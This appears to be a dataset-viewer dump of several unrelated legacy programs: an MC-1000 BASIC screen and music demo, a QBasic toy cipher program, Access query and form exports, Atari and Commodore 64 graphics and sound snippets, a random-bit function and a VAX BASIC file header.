text stringlengths 7 5.36M |
|---|
0 REM ************************
1 REM ** - CCESOFT - **
2 REM ** FELIPE ABRAMVEZT **
3 REM ** VERSAO 1.1 05/85 **
4 REM ************************
5 REM ** PROGRAMA TELA **
6 REM ************************
9 GR :M = 0
10 GOTO 310
11 REM :::SUB ROTINA P/ DESENHAR AS LETRAS NA TELA::::::
12 A = 0:B = 0:C = 0
45 REM ::::PLOTA MC-1000::::::
50 COLOR = A: PLOT 10,22 TO 10,10 TO 16,16 TO 22,10 TO 22,22
60 PLOT 37,22 TO 25,22 TO 25,10 TO 37,10: PLOT 38,16 TO 43,16: PLOT 44,14 TO 50,10 TO 50,22: PLOT 53,10 TO 64,10 TO 64,22 TO 53,22 TO 53,10: PLOT 67,10 TO 79,10 TO 79,22 TO 67,22 TO 67,10
70 PLOT 82,10 TO 94,10 TO 94,22 TO 82,22 TO 82,10
71 COLOR = A: FOR I = 12 TO 20: PLOT 105,I TO 123,I: NEXT I
72 IF D > 3 THEN D = 1
73 REM :::DIMENCIONA VARIAVEIS P/ PLOTAGEM DE CCE COM A COR DA TELA::::::::
75 IF D = 2 THEN COLOR = 1
76 IF D = 3 THEN COLOR = 2
77 IF D = 1 THEN COLOR = 3
78 REM :::::PLOTA CCE COM A COR DA TELA:::::
80 PLOT 110,18 TO 106,18 TO 106,14 TO 110,14
90 PLOT 116,14 TO 112,14 TO 112,18 TO 116,18
100 PLOT 122,18 TO 118,18 TO 118,14 TO 122,14: PLOT 118,16 TO 120,16
110 REM ::::PLOTA COLOR COMPUTER SOUND:::::::
120 COLOR = A: PLOT 9,36 TO 5,36 TO 5,32 TO 9,32
130 COLOR = B: PLOT 11,32 TO 15,32 TO 15,36 TO 11,36 TO 11,32
140 COLOR = C: PLOT 17,32 TO 17,36 TO 21,36
150 COLOR = A: PLOT 21,32 TO 25,32 TO 25,36 TO 21,36 TO 21,32
160 COLOR = B: PLOT 27,36 TO 27,32 TO 31,32 TO 31,34 TO 27,34 TO 31,36
170 COLOR = A: PLOT 40,36 TO 36,36 TO 36,32 TO 40,32: PLOT 54,36 TO 54,32 TO 60,32 TO 60,34 TO 54,34: PLOT 80,36 TO 76,36 TO 76,32 TO 80,32: PLOT 76,34 TO 78,34
180 COLOR = B: PLOT 46,36 TO 42,36 TO 42,32 TO 46,32 TO 46,36: PLOT 62,32 TO 62,36 TO 66,36 TO 66,32: PLOT 82,36 TO 82,32 TO 86,32 TO 86,34 TO 82,34 TO 86,36
190 COLOR = C: PLOT 48,36 TO 48,32 TO 50,34 TO 52,32 TO 52,36: PLOT 70,32 TO 74,32: PLOT 72,32 TO 72,36
200 COLOR = C: PLOT 92,36 TO 96,36 TO 96,34 TO 92,34 TO 92,32 TO 96,32: PLOT 110,36 TO 110,32 TO 114,36 TO 114,32
210 COLOR = A: PLOT 98,36 TO 98,32 TO 102,32 TO 102,36 TO 98,36: PLOT 116,32 TO 118,32 TO 120,33 TO 120,35 TO 118,36 TO 116,36 TO 116,32
220 COLOR = B: PLOT 104,32 TO 104,36 TO 108,36 TO 108,32
221 GOTO 281
225 REM :::::SUB ROTINA DE MUSICA:::::
230 TEMPO 100,2,1
240 FOR I = 1 TO 32: READ M,N
250 SOUND M,N,1
260 NEXT I
265 M = M + 1
270 DATA 87,25,91,25,84,50,84,50,87,25,91,25,84,100,91,25,91,25,96,50,91,50,89,25
275 RESTORE
280 DATA 87,25,89,100,89,25,91,25,98,25,97,25,96,50,91,25,89,25,96,25,89,25,91,50,91,25,96,25,91,50,89,50,87,25,86,25,84,100,1,1
281 RETURN
285 IF M > 3 THEN END
292 RETURN
300 REM ::::::COLORE A TELA:::::::
310 D = D + 1
320 ON D GOTO 1000,2000,3000,4000
900 REM ::::VERMELHO:::::
1000 FOR K = 0 TO 127
1010 COLOR = 3: PLOT K,1 TO K,63
1015 NEXT K
1017 GOSUB 12
1018 IF M > 3 THEN END
1020 GOTO 310
1900 REM :::::BRANCO:::::
2000 FOR L = 1 TO 63
2010 COLOR = 1: PLOT 1,L TO 127,L
2012 NEXT L
2015 GOSUB 12
2020 GOTO 310~20~20
2900 REM :::::AZUL::::::::
3000 FOR F = 127 TO ~200 STEP - 1
3010 COLOR = 2: PLOT F,1 TO F,63
3015 NEXT F
3017 GOSUB 12
3020 GOTO 310
4000 GOSUB 230
4002 REM ******************************
4003 REM COMECO DO PROGRAMA TELA 1
4004 REM ******************************
4005 REM ::::LIMPEZA DA TELA::::::
4010 GR
4012 A = 1:B = 2:C = 3
4014 FOR X = 1 TO 3
4015 REM :::::DIMENSIONAMENTO DAS VARIAVEIS DE COR:::::
4020 A = A + 1: IF A > 3 THEN A = 1
4030 B = B + 1: IF B > 3 THEN B = 1
4040 C = C + 1: IF C > 3 THEN C = 1
4045 REM :::PLOTAGEM DE MC-1000:::
4050 COLOR = A: PLOT 10,22 TO 10,10 TO 16,16 TO 22,10 TO 22,22
4060 PLOT 37,22 TO 25,22 TO 25,10 TO 37,10: PLOT 38,16 TO 43,16: PLOT 44,14 TO 50,10 TO 50,22: PLOT 53,10 TO 64,10 TO 64,22 TO 53,22 TO 53,10: PLOT 67,10 TO 79,10 TO 79,22 TO 67,22 TO 67,10
4070 PLOT 82,10 TO 94,10 TO 94,22 TO 82,22 TO 82,10
4071 REM :::PLOTAGEM DO QUADRADO:::
4072 COLOR = A: FOR ~20I = 12 TO 20: PLOT 105,I TO 123,I: NEXT I
4075 REM :::PLOTAGEM DE CCE:::
4080 COLOR = 0: PLOT 110,18 TO 106,18 TO 106,14 TO 110,14
4090 COLOR = 0: PLOT 116,14 TO 112,14 TO 112,18 TO 116,18
4100 COLOR = 0: PLOT 122,18 TO 118,18 TO 118,14 TO 122,14: PLOT 118,16 TO 120,16
4105 REM ::::::PLOTAGEM DE COLOR COMPUTER SOUND:::::::
4120 COLOR = A: PLOT 9,36 TO 5,36 TO 5,32 TO 9,32
4130 COLOR = B: PLOT 11,32 TO 15,32 TO 15,36 TO 11,36 TO 11,32
4140 COLOR = C: PLOT 17,32 TO 17,36 TO 21,36
4150 COLOR = A: PLOT 21,32 TO 25,32 TO 25,36 TO 21,36 TO 21,32
4160 COLOR = B: PLOT 27,36 TO 27,32 TO 31,32 TO 31,34 TO 27,34 TO 31,36
4170 COLOR = A: PLOT 40,36 TO 36,36 TO 36,32 TO 40,32: PLOT 54,36 TO 54,32 TO 60,32 TO 60,34 TO 54,34: PLOT 80,36 TO 76,36 TO 76,32 TO 80,32: PLOT 76,34 TO 78,34
4180 COLOR = B: PLOT 46,36 TO 42,36 TO 42,32 TO 46,32 TO 46,36: PLOT 62,32 TO 62,36 TO 66,36 TO 66,32: PLOT 82,36 TO 82,32 TO 86,32 TO 86,34 TO 82,34 TO 86,36
4190 COLOR = C: PLOT 48,36 TO 48,32 TO 50,34 TO 52,32 TO 52,36: PLOT 70,32 TO 74,32: PLOT 72,32 TO 72,36
4200 COLOR = C: PLOT 92,36 TO 96,36 TO 96,36 TO 96,34 TO 92,34 TO 92,32 TO 96,32: PLOT 110,36 TO 110,32 TO 114,36 TO 114,32
4210 COLOR = A: PLOT 98,36 TO 98,32 TO 102,32 TO 102,36 TO 98,36: PLOT 116,32 TO 118,32 TO 120,33 TO 120,35 TO 118,36 TO 116,36 TO 116,32
4220 COLOR = B: PLOT 104,32 TO 104,36 TO 108,36 TO 108,32
4230 REM ::::::::FIM DO PROGRAMA TELA 1:::::::::
4235 FOR F = 1 TO 500: NEXT F
4240 NEXT X
4300 GOTO 1
|
SCREEN 8
an:
CLS
cl:
COLOR 10
PRINT "This is JT's code program 3.0"
PRINT
INPUT "Enter which code you want (A-D [B & D are best] {type E to exit}) >", choice$
SELECT CASE choice$
CASE "c"
GOTO bc
CASE "a"
GOTO code66
CASE "b"
GOTO encode2
CASE "d"
GOTO decode2
CASE "e"
GOTO quit
END SELECT
bc:
cl8:
COLOR 5
scrambled$ = "IXRVOPQNASZWTHEFGCJMYDLBUK"
PRINT
INPUT "Enter the sentence to decode/code (no punctuation) >", a$
a$ = UCASE$(a$)
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar = 32 THEN
PRINT " ";
ELSE
indexchar = indexchar - 65
IF indexchar < 0 OR indexchar > LEN(scrambled$) - 1 THEN
PRINT " "
ELSE
scramstr$ = RIGHT$(scrambled$, LEN(scrambled$) - indexchar)
PRINT LEFT$(scramstr$, 1);
END IF
END IF
NEXT I
aa:
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), or clear the screen(4) >", choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO cl8
IF choice = 4 THEN CLS
GOTO an
encode2:
COLOR 12
PRINT
INPUT "What offset (code number) do you want (no more than two digits) >", choice
codeOffset = choice
PRINT
INPUT "Do you want to code or decode (code=1 decode=2)"; choice
IF choice = 1 THEN GOTO zz
IF choice = 2 THEN GOTO decode
zz:
cl2:
COLOR 6
PRINT
INPUT "Enter the sentence to code >", a$
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar < 32 OR indexchar > 126 THEN
PRINT "Invalid input"
GOTO cl2
END IF
indexchar = indexchar + codeOffset
IF indexchar > 126 THEN indexchar = indexchar - 126 + 32
PRINT CHR$(indexchar);
NEXT I
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), clear the screen(4), or decode(5) >", choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO cl2
IF choice = 4 THEN CLS
IF choice = 5 THEN GOTO decode
GOTO an
decode:
cl3:
COLOR 2
PRINT
INPUT "Enter the sentence to decode >", a$
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar < 32 OR indexchar > 126 THEN
PRINT "Invalid input"
GOTO cl3
END IF
indexchar = indexchar - codeOffset
IF indexchar < 32 THEN indexchar = indexchar + 126 - 32
PRINT CHR$(indexchar);
NEXT I
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), or clear the screen(4) >", choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO cl3
IF choice = 4 THEN CLS
GOTO an
END
quit:
COLOR 15
CLS
PRINT "DONE"
END
code66:
COLOR 4
scrambled$ = "YXPTOVWZUSNQRKECLMJDIFGBAH"
PRINT
INPUT "Enter the sentence to decode/code (no punctuation) >", a$
a$ = UCASE$(a$)
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar = 32 THEN
PRINT " ";
ELSE
indexchar = indexchar - 65
IF indexchar < 0 OR indexchar > LEN(scrambled$) - 1 THEN
PRINT " "
ELSE
scramstr$ = RIGHT$(scrambled$, LEN(scrambled$) - indexchar)
PRINT LEFT$(scramstr$, 1);
END IF
END IF
NEXT I
nn:
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), or clear the screen(4) >", choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO code66
IF choice = 4 THEN CLS
GOTO an
decode2:
COLOR 12
PRINT
INPUT "What offset (code number) do you want (no more than two digits) >", choice
codeOffset = choice
PRINT
INPUT "Do you want to code or decode (code=1 decode=2)"; choice
IF choice = 1 THEN GOTO zz2
IF choice = 2 THEN GOTO decode3
zz2:
COLOR 14
PRINT
INPUT "Enter the sentence to code >", a$
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar < 32 OR indexchar > 126 THEN
PRINT "Invalid input"
GOTO zz2
END IF
indexchar = indexchar + codeOffset + 5
IF indexchar > 126 THEN indexchar = indexchar - 126 + 32
PRINT CHR$(indexchar);
NEXT I
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), clear the screen(4), or decode(5) >", choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO zz2
IF choice = 4 THEN CLS
IF choice = 5 THEN GOTO decode3
GOTO an
decode3:
COLOR 11
PRINT
INPUT "Enter the sentence to decode >", a$
slen = LEN(a$)
PRINT
FOR I = 0 TO slen - 1
rlen = slen - I
rstr$ = RIGHT$(a$, rlen)
indexchar = ASC(rstr$)
IF indexchar < 32 OR indexchar > 126 THEN
PRINT "Invalid input"
GOTO decode3
END IF
indexchar = indexchar - codeOffset - 5
IF indexchar < 32 THEN indexchar = indexchar + 126 - 32
PRINT CHR$(indexchar);
NEXT I
PRINT
INPUT "Do you want to go to the main menu(1), quit(2), try again(3), or clear the screen(4)"; choice
IF choice = 1 THEN GOTO cl
IF choice = 2 THEN GOTO quit
IF choice = 3 THEN GOTO decode3
IF choice = 4 THEN CLS
GOTO an
END
|
Operation =1
Option =16
RowCount ="100"
Begin InputTables
Name ="dbo_viewContactHistory"
End
Begin OutputColumns
Expression ="dbo_viewContactHistory.*"
End
dbBoolean "ReturnsRecords" ="-1"
dbInteger "ODBCTimeout" ="60"
dbByte "RecordsetType" ="2"
dbBoolean "OrderByOn" ="0"
dbByte "Orientation" ="0"
dbByte "DefaultView" ="2"
dbBinary "GUID" = Begin
0x8b70668e9f5c894f80ecf04619a56567
End
dbBoolean "FilterOnLoad" ="0"
dbBoolean "OrderByOnLoad" ="-1"
dbBoolean "TotalsRow" ="0"
dbByte "PublishToWeb" ="1"
dbLongBinary "DOL" = Begin
0x0acc0e5500000000000000000000000000000000000000000000000000000000 ,
0x000000000000000000000000640062006f005f00760069006500770043006f00 ,
0x6e00740061006300740048006900730074006f00720079000000000000000000 ,
0x00000000000000000000000000000c0000000500000000000000000000000000 ,
0x00000000
End
Begin
Begin
dbText "Name" ="dbo_viewContactHistory.CompanyEmployeeID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ContactGeneralID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ContactLocationID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ContactNameID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ProjectHeaderID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.Employee"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.CompName"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.LocationName"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ContactName"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.DocketNum"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ProjectName"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.QuoteNum"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.InvoiceNum"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.ID"
dbLong "AggregateType" ="-1"
End
Begin
dbText "Name" ="dbo_viewContactHistory.SSMA_TimeStamp"
dbLong "AggregateType" ="-1"
End
End
Begin
State =0
Left =78
Top =136
Right =1607
Bottom =859
Left =-1
Top =-1
Right =1497
Bottom =388
Left =0
Top =0
ColumnsShown =539
Begin
Left =102
Top =27
Right =246
Bottom =171
Top =0
Name ="dbo_viewContactHistory"
Name =""
End
End
|
GR. 7+16
DIM A(160) byte
OFFSET=0
screen=PEEK($59)*256+PEEK($58)
SETCOLOR 2,0,14
SETCOLOR 1,1,7
OPEN #1,4,0,"D:ABEJUARE.BMP"
BGET #1,ADR(A),154-32+40
WHILE ERR()=1
BGET #1,ADR(A),160
FOR I=0 TO 159
dbyte=A(I)
POKE screen+I+OFFSET,dbyte
NEXT I
OFFSET=OFFSET+160
WEND
GET I |
5 S=54272 :rem 201
10 FORI=0TO22:POKE S+I,0:NEXT :rem 10
100 POKE S+24,143 :REM SET VOLUME HIGH :rem 106
110 POKE S+5,16 :REM A/D :rem 217
115 POKE S+19,16 :REM A/D :rem 19
120 POKE S+6,.252 :REM S/R :rem 45
125 POKE S+20,249 :REM S/R :rem 100
140 POKE S+4,21:POKES+18,17
150 POKE S+1,2:POKE S+15,34:FORI=1TO200:NEXT
151 POKE S+4,20:POKE S+18,16:FORI=1TO300:NEXT
152 POKE S+4,21:POKE S+18,17
153 POKE S+1,2:POKE S+15,30:FORI=1TO200:NEXT
155 POKE S+4,20:POKE S+18,16:FORI=1TO300:NEXT
160 GETA$:IFA$=""THEN140 |
DECLARE FUNCTION IRBIT1! (ISEED!)
FUNCTION IRBIT1 (ISEED) STATIC
IB1 = 1
IB3 = 4
IB5 = 16
IB14 = 8192
NEWBIT% = (ISEED AND IB14) <> 0
IF (ISEED AND IB5) <> 0 THEN NEWBIT% = NOT NEWBIT%
IF (ISEED AND IB3) <> 0 THEN NEWBIT% = NOT NEWBIT%
IF (ISEED AND IB1) <> 0 THEN NEWBIT% = NOT NEWBIT%
IF ISEED > 2 ^ 14 THEN ISEED = ISEED - 2 ^ 14
ISEED = 2 * ISEED
IF NEWBIT% THEN
IRBIT1 = 1
ISEED = ISEED OR IB1
ELSE
IRBIT1 = 0
ISEED = ISEED AND (NOT IB1)
END IF
END FUNCTION
|
Version =20
VersionRequired =20
Begin Form
AllowFilters = NotDefault
RecordSelectors = NotDefault
ControlBox = NotDefault
AutoCenter = NotDefault
NavigationButtons = NotDefault
AllowDeletions = NotDefault
CloseButton = NotDefault
DividingLines = NotDefault
AllowAdditions = NotDefault
AllowEdits = NotDefault
AllowDesignChanges = NotDefault
DefaultView =0
ScrollBars =0
PictureAlignment =2
DatasheetGridlinesBehavior =3
GridX =24
GridY =24
Width =11400
DatasheetFontHeight =11
ItemSuffix =12
Right =19320
Bottom =12645
DatasheetGridlinesColor =15132391
RecSrcDt = Begin
0x5f45d0440fb7e440
End
RecordSource ="fqryRfiBanner"
Caption ="subformlRFIbanner"
DatasheetFontName ="Calibri"
FilterOnLoad =0
ShowPageMargins =0
DisplayOnSharePointSite =1
DatasheetAlternateBackColor =15921906
DatasheetGridlinesColor12 =0
FitToScreen =1
DatasheetBackThemeColorIndex =1
BorderThemeColorIndex =3
ThemeFontIndex =1
ForeThemeColorIndex =0
AlternateBackThemeColorIndex =1
AlternateBackShade =95.0
Begin
Begin Label
BackStyle =0
FontSize =11
FontName ="Calibri"
ThemeFontIndex =1
BackThemeColorIndex =1
BorderThemeColorIndex =0
BorderTint =50.0
ForeThemeColorIndex =0
ForeTint =50.0
GridlineThemeColorIndex =1
GridlineShade =65.0
End
Begin TextBox
AddColon = NotDefault
FELineBreak = NotDefault
BorderLineStyle =0
LabelX =-1800
FontSize =11
FontName ="Calibri"
AsianLineBreak =1
BackThemeColorIndex =1
BorderThemeColorIndex =1
BorderShade =65.0
ThemeFontIndex =1
ForeThemeColorIndex =0
ForeTint =75.0
GridlineThemeColorIndex =1
GridlineShade =65.0
End
Begin ComboBox
AddColon = NotDefault
BorderLineStyle =0
LabelX =-1800
FontSize =11
FontName ="Calibri"
AllowValueListEdits =1
InheritValueList =1
ThemeFontIndex =1
BackThemeColorIndex =1
BorderThemeColorIndex =1
BorderShade =65.0
ForeThemeColorIndex =2
ForeShade =50.0
GridlineThemeColorIndex =1
GridlineShade =65.0
End
Begin Subform
BorderLineStyle =0
BorderThemeColorIndex =1
GridlineThemeColorIndex =1
GridlineShade =65.0
BorderShade =65.0
ShowPageHeaderAndPageFooter =1
End
Begin FormHeader
Height =0
BackColor =15921906
Name ="FormHeader"
AlternateBackThemeColorIndex =1
AlternateBackShade =95.0
BackThemeColorIndex =1
BackShade =95.0
End
Begin Section
Height =1980
BackColor =15921906
Name ="Detail"
AlternateBackColor =15921906
AlternateBackThemeColorIndex =1
AlternateBackShade =95.0
BackThemeColorIndex =1
BackShade =95.0
Begin
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
EnterKeyBehavior = NotDefault
OldBorderStyle =0
OverlapFlags =85
BackStyle =0
IMESentenceMode =3
Left =10080
Top =60
Width =1320
Height =360
ColumnWidth =3000
FontSize =12
TabIndex =1
BorderColor =10921638
ForeColor =3484194
Name ="DisasterID"
ControlSource ="DisasterID"
GridlineColor =10921638
LayoutCachedLeft =10080
LayoutCachedTop =60
LayoutCachedWidth =11400
LayoutCachedHeight =420
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =85
Left =8940
Top =60
Width =1065
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="DisasterID_Label"
Caption ="DisasterID"
GridlineColor =10921638
LayoutCachedLeft =8940
LayoutCachedTop =60
LayoutCachedWidth =10005
LayoutCachedHeight =420
ForeTint =100.0
End
End
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
EnterKeyBehavior = NotDefault
OldBorderStyle =0
OverlapFlags =93
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =7140
Top =480
Width =1800
Height =360
ColumnWidth =3000
FontSize =12
TabIndex =2
BorderColor =10921638
ForeColor =3484194
Name ="ApplicantID"
ControlSource ="ApplicantID"
GridlineColor =10921638
LayoutCachedLeft =7140
LayoutCachedTop =480
LayoutCachedWidth =8940
LayoutCachedHeight =840
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
EnterKeyBehavior = NotDefault
OldBorderStyle =0
OverlapFlags =95
BackStyle =0
IMESentenceMode =3
Left =5580
Top =840
Width =4680
Height =360
ColumnWidth =3000
FontSize =12
TabIndex =4
BorderColor =10921638
ForeColor =3484194
Name ="Applicant Name"
ControlSource ="Subrecipient Name"
EventProcPrefix ="Applicant_Name"
GridlineColor =10921638
LayoutCachedLeft =5580
LayoutCachedTop =840
LayoutCachedWidth =10260
LayoutCachedHeight =1200
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =93
TextAlign =1
Left =5580
Top =480
Width =1500
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="Applicant Name_Label"
Caption ="Applicant:"
EventProcPrefix ="Applicant_Name_Label"
GridlineColor =10921638
LayoutCachedLeft =5580
LayoutCachedTop =480
LayoutCachedWidth =7080
LayoutCachedHeight =840
ForeTint =100.0
End
End
End
Begin Label
FontItalic = NotDefault
FontUnderline = NotDefault
OverlapFlags =85
Left =60
Top =60
Width =5385
Height =420
FontSize =16
FontWeight =700
BorderColor =8355711
ForeColor =7949855
Name ="Label104"
Caption ="Applicant Request for Information (RFI): "
GridlineColor =10921638
LayoutCachedLeft =60
LayoutCachedTop =60
LayoutCachedWidth =5445
LayoutCachedHeight =480
ForeThemeColorIndex =4
ForeTint =100.0
ForeShade =50.0
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =85
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =5520
Top =60
Height =360
ColumnWidth =1440
FontSize =16
FontWeight =700
BorderColor =10921638
ForeColor =8210719
Name ="RFI Tracking #"
ControlSource ="RfiID"
EventProcPrefix ="RFI_Tracking__"
GridlineColor =10921638
LayoutCachedLeft =5520
LayoutCachedTop =60
LayoutCachedWidth =6960
LayoutCachedHeight =420
ForeThemeColorIndex =-1
ForeTint =100.0
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =95
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =1860
Top =540
Height =360
FontSize =12
TabIndex =3
BorderColor =10921638
ForeColor =3484194
Name ="ItemType"
ControlSource ="ItemType"
GridlineColor =10921638
LayoutCachedLeft =1860
LayoutCachedTop =540
LayoutCachedWidth =3300
LayoutCachedHeight =900
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =93
TextAlign =1
Left =300
Top =540
Width =1560
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="Label8"
Caption ="Item Type:"
GridlineColor =10921638
LayoutCachedLeft =300
LayoutCachedTop =540
LayoutCachedWidth =1860
LayoutCachedHeight =900
ForeTint =100.0
End
End
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =95
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =7140
Top =1200
Width =3120
Height =360
FontSize =12
TabIndex =7
BorderColor =10921638
ForeColor =3484194
Name ="ReviewFrom"
ControlSource ="ReviewFrom"
GridlineColor =10921638
LayoutCachedLeft =7140
LayoutCachedTop =1200
LayoutCachedWidth =10260
LayoutCachedHeight =1560
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =95
TextAlign =1
Left =5580
Top =1200
Width =1500
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="Label9"
Caption ="Review From:"
GridlineColor =10921638
LayoutCachedLeft =5580
LayoutCachedTop =1200
LayoutCachedWidth =7080
LayoutCachedHeight =1560
ForeTint =100.0
End
End
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =87
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =7140
Top =1560
Width =2760
Height =360
FontSize =12
TabIndex =9
BorderColor =10921638
ForeColor =3484194
Name ="CreatedBy"
ControlSource ="CreatedByName"
GridlineColor =10921638
LayoutCachedLeft =7140
LayoutCachedTop =1560
LayoutCachedWidth =9900
LayoutCachedHeight =1920
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =87
TextAlign =1
Left =5580
Top =1560
Width =1500
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="Label10"
Caption ="Created By:"
GridlineColor =10921638
LayoutCachedLeft =5580
LayoutCachedTop =1560
LayoutCachedWidth =7080
LayoutCachedHeight =1920
ForeTint =100.0
End
End
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =95
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =1860
Top =1200
Width =3660
Height =360
FontSize =12
TabIndex =6
BorderColor =10921638
ForeColor =3484194
Name ="RFI Phase"
ControlSource ="PhaseName"
EventProcPrefix ="RFI_Phase"
GridlineColor =10921638
LayoutCachedLeft =1860
LayoutCachedTop =1200
LayoutCachedWidth =5520
LayoutCachedHeight =1560
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =93
TextAlign =1
Left =300
Top =1200
Width =1560
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="RFI Phase_Label"
Caption ="Process Phase:"
EventProcPrefix ="RFI_Phase_Label"
GridlineColor =10921638
LayoutCachedLeft =300
LayoutCachedTop =1200
LayoutCachedWidth =1860
LayoutCachedHeight =1560
ForeTint =100.0
End
End
End
Begin TextBox
Locked = NotDefault
TabStop = NotDefault
OldBorderStyle =0
OverlapFlags =87
TextAlign =1
BackStyle =0
IMESentenceMode =3
Left =1860
Top =1560
Width =3660
Height =360
FontSize =12
TabIndex =8
BorderColor =10921638
ForeColor =3484194
Name ="RFI Step"
ControlSource ="StepName"
EventProcPrefix ="RFI_Step"
GridlineColor =10921638
LayoutCachedLeft =1860
LayoutCachedTop =1560
LayoutCachedWidth =5520
LayoutCachedHeight =1920
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =95
TextAlign =1
Left =300
Top =1560
Width =1560
Height =360
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="RFI Step_Label"
Caption ="Process Step:"
EventProcPrefix ="RFI_Step_Label"
GridlineColor =10921638
LayoutCachedLeft =300
LayoutCachedTop =1560
LayoutCachedWidth =1860
LayoutCachedHeight =1920
ForeTint =100.0
End
End
End
Begin TextBox
OldBorderStyle =0
OverlapFlags =247
TextAlign =1
IMESentenceMode =3
Left =1860
Top =900
Width =660
Height =315
FontSize =12
TabIndex =5
BackColor =15921906
BorderColor =10921638
ForeColor =3484194
Name ="ProjectID"
ControlSource ="ProjectID"
GridlineColor =10921638
LayoutCachedLeft =1860
LayoutCachedTop =900
LayoutCachedWidth =2520
LayoutCachedHeight =1215
BackShade =95.0
ForeThemeColorIndex =2
ForeTint =100.0
ForeShade =50.0
Begin
Begin Label
OverlapFlags =223
TextAlign =1
Left =300
Top =900
Width =1560
Height =315
FontSize =12
FontWeight =700
BorderColor =8355711
Name ="Label11"
Caption ="Project ID:"
GridlineColor =10921638
LayoutCachedLeft =300
LayoutCachedTop =900
LayoutCachedWidth =1860
LayoutCachedHeight =1215
ForeTint =100.0
End
End
End
End
End
Begin FormFooter
Height =0
Name ="FormFooter"
AutoHeight =1
AlternateBackThemeColorIndex =1
AlternateBackShade =95.0
BackThemeColorIndex =1
End
End
End
|
1 %TITLE "String Comparison Function"
%SBTTL "COMP_STRING"
%IDENT "V3.6a Calico"
FUNCTION INTEGER COMP_STRING(TEST_STRING$, WILDCARD_STRING$)
!
! COPYRIGHT (C) 1988 BY
! Computer Management Center, Inc.
! Idaho Falls, Idaho.
!
! This software is furnished under a license and may be used and
! copied only in accordance with terms of such license and with
! the inclusion of the above copyright notice. This software or
! any other copies thereof may not be provided or otherwise made
